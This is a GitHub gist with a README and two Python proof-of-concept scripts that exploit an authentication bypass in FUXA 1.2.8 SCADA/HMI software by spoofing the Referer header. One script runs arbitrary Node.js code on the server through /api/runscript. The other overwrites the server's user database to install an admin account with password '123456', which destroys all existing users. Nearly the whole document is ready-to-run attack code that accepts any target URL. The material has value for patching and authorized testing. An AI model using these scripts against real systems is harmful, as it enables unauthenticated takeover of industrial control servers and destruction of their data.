Skip to content

Instantly share code, notes, and snippets.

@lihy10
Created December 19, 2025 07:48
Show Gist options
  • Select an option

  • Save lihy10/8cb2dd65ebf1385f12a7e00e25a50d40 to your computer and use it in GitHub Desktop.

Select an option

Save lihy10/8cb2dd65ebf1385f12a7e00e25a50d40 to your computer and use it in GitHub Desktop.
FUXA 1.2.8 Authentication Bypass & RCE PoC

FUXA 1.2.8 Authentication Bypass & RCE Exploits

This repository contains Proof-of-Concept (PoC) scripts for an Authentication Bypass vulnerability in FUXA version 1.2.8 (Master branch as of late 2023/2024).

The vulnerability exists because the Referer header check in the requireAuth middleware is insufficient, allowing attackers to spoof internal requests and bypass authentication.

Vulnerability Details

  • Product: FUXA SCADA/HMI
  • Version: 1.2.8
  • Type: Authentication Bypass / RCE
  • Root Cause: Incomplete fix for CVE-2023-33831. The system whitelists requests containing /fuxa in the Referer header.

Usage

Prerequisites

  • Python 3.x
  • requests library (pip install requests)
  • bcrypt library (pip install bcrypt) - for the user overwrite exploit

1. Remote Code Execution (Calc PoC)

This script demonstrates RCE by launching calc.exe on the server (Windows).

python exploit_rce_calc.py [TARGET_URL]
# Default URL: http://127.0.0.1:1881

2. Admin Account Takeover (User Overwrite)

This script overwrites the users.fuxap.db SQLite database on the server with a malicious one where the admin password is set to 123456.

Warning: This is destructive! It will replace all existing users.

python exploit_user_overwrite.py [TARGET_URL]

After execution, you may need to restart the FUXA server for the new credentials to be loaded into memory.

Disclaimer

These scripts are for educational and authorized testing purposes only. Do not use on systems you do not own or have permission to test.

import requests
import json
import sys
# ==================================================================================
# Exploit Title: FUXA 1.2.8 - Unauthenticated Remote Code Execution (RCE) via Referer Bypass
# Date: 2025-12-19
# Exploit Author: Lily
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Software Link: https://github.com/frangoteam/FUXA
# Version: 1.2.8 (Master Branch as of Dec 2025)
# Tested on: Windows 10 / Node.js
# Description:
# Bypasses the 'secureEnabled' check and 'requireAuth' middleware by spoofing
# the HTTP Referer header to mimic an internal FUXA request.
# This allows unauthenticated access to /api/runscript to execute arbitrary Node.js code.
# ==================================================================================
# Default Target
TARGET_URL = "http://127.0.0.1:1881"
RUNSCRIPT_ENDPOINT = "/api/runscript"
def exploit_rce(target_url):
print(f"[*] Testing RCE (Calc) on {target_url}...")
# Payload to launch calculator
# This runs in the Node.js context of the FUXA server
js_code = """
try {
require('child_process').exec('calc.exe');
return 'Calc Launched Successfully';
} catch (e) {
return 'Error: ' + e.message;
}
"""
script_payload = {
"params": {
"script": {
"parameters": [],
"mode": "",
"id": "rce_calc",
"name": "rce_calc",
"code": js_code,
"test": js_code # 'test' property is executed by runTestScript
},
"toLogEvent": False
}
}
# CRITICAL: The Referer header is what bypasses the authentication
headers = {
"Content-Type": "application/json",
"Referer": f"{target_url}/fuxa" # Bypass requireAuth by containing '/fuxa'
}
try:
response = requests.post(f"{target_url}{RUNSCRIPT_ENDPOINT}", json=script_payload, headers=headers, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response: {response.text}")
if response.status_code == 200 and "Calc Launched Successfully" in response.text:
print("[+] RCE SUCCESS! Calculator should be open on the server.")
else:
print("[-] RCE Failed. Target might be patched or not running on Windows.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
url = TARGET_URL
if len(sys.argv) > 1:
url = sys.argv[1]
exploit_rce(url)
import requests
import json
import sqlite3
import bcrypt
import os
import base64
import sys
# ==================================================================================
# Exploit Title: FUXA 1.2.8 - Unauthenticated User Overwrite (Admin Takeover)
# Date: 2025-12-19
# Exploit Author: Lily
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: 1.2.8
# Description:
# Leverages the RCE vulnerability (via Referer Bypass) to overwrite the
# server's user database (sqlite3) with a malicious one containing a known admin password.
# ==================================================================================
TARGET_URL = "http://127.0.0.1:1881"
RUNSCRIPT_ENDPOINT = "/api/runscript"
LOCAL_DB_NAME = "pwned_users.db"
def create_malicious_db():
print(f"[*] Creating malicious SQLite database '{LOCAL_DB_NAME}'...")
if os.path.exists(LOCAL_DB_NAME):
os.remove(LOCAL_DB_NAME)
conn = sqlite3.connect(LOCAL_DB_NAME)
c = conn.cursor()
# Create table schema matching FUXA 1.2.8
c.execute("CREATE TABLE if not exists users (username TEXT PRIMARY KEY, fullname TEXT, password TEXT, groups INTEGER, info TEXT);")
c.execute("CREATE TABLE if not exists roles (name TEXT PRIMARY KEY, value TEXT);")
# Generate bcrypt hash for password '123456'
# Note: Using a fixed salt for reproducibility or dynamic generation
password = b"123456"
hashed = bcrypt.hashpw(password, bcrypt.gensalt(10)).decode('utf-8')
print(f"[*] Generated hash for '123456': {hashed}")
# Insert admin user
# groups is -1 for admin in FUXA
c.execute("INSERT INTO users (username, fullname, password, groups, info) VALUES (?, ?, ?, ?, ?)",
("admin", "Administrator Account", hashed, -1, "{}"))
conn.commit()
conn.close()
print("[+] Malicious DB created.")
def exploit_user_overwrite(target_url):
create_malicious_db()
# Read the generated DB content
try:
with open(LOCAL_DB_NAME, "rb") as f:
db_content = f.read()
except Exception as e:
print(f"[!] Failed to read local DB: {e}")
return
b64_content = base64.b64encode(db_content).decode('utf-8')
print(f"[*] Sending RCE payload to overwrite 'users.fuxap.db' on {target_url}...")
# Payload to overwrite users.fuxap.db
# This uses Node.js 'fs' module to write the decoded file to the server's data directory
js_code = f"""
try {{
const fs = require('fs');
const path = require('path');
// Target path: FUXA_ROOT/server/_appdata/users.fuxap.db
const dbPath = path.join(process.cwd(), '_appdata', 'users.fuxap.db');
const content = Buffer.from('{b64_content}', 'base64');
fs.writeFileSync(dbPath, content);
return 'Users DB Overwritten successfully';
}} catch (e) {{
return 'Error: ' + e.message;
}}
"""
script_payload = {
"params": {
"script": {
"parameters": [],
"mode": "",
"id": "rce_user_pwn",
"name": "rce_user_pwn",
"code": js_code,
"test": js_code
},
"toLogEvent": False
}
}
headers = {
"Content-Type": "application/json",
"Referer": f"{target_url}/fuxa" # Bypass requireAuth
}
try:
response = requests.post(f"{target_url}{RUNSCRIPT_ENDPOINT}", json=script_payload, headers=headers, timeout=20)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response: {response.text}")
if response.status_code == 200 and "Users DB Overwritten" in response.text:
print("[+] SUCCESS! 'users.fuxap.db' has been overwritten.")
print("[*] The admin password is now '123456'.")
print("[*] You may need to RESTART the FUXA server for changes to take effect.")
else:
print("[-] Failed to overwrite DB.")
except Exception as e:
print(f"[!] Error: {e}")
finally:
# Clean up local artifact
if os.path.exists(LOCAL_DB_NAME):
os.remove(LOCAL_DB_NAME)
if __name__ == "__main__":
url = TARGET_URL
if len(sys.argv) > 1:
url = sys.argv[1]
exploit_user_overwrite(url)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment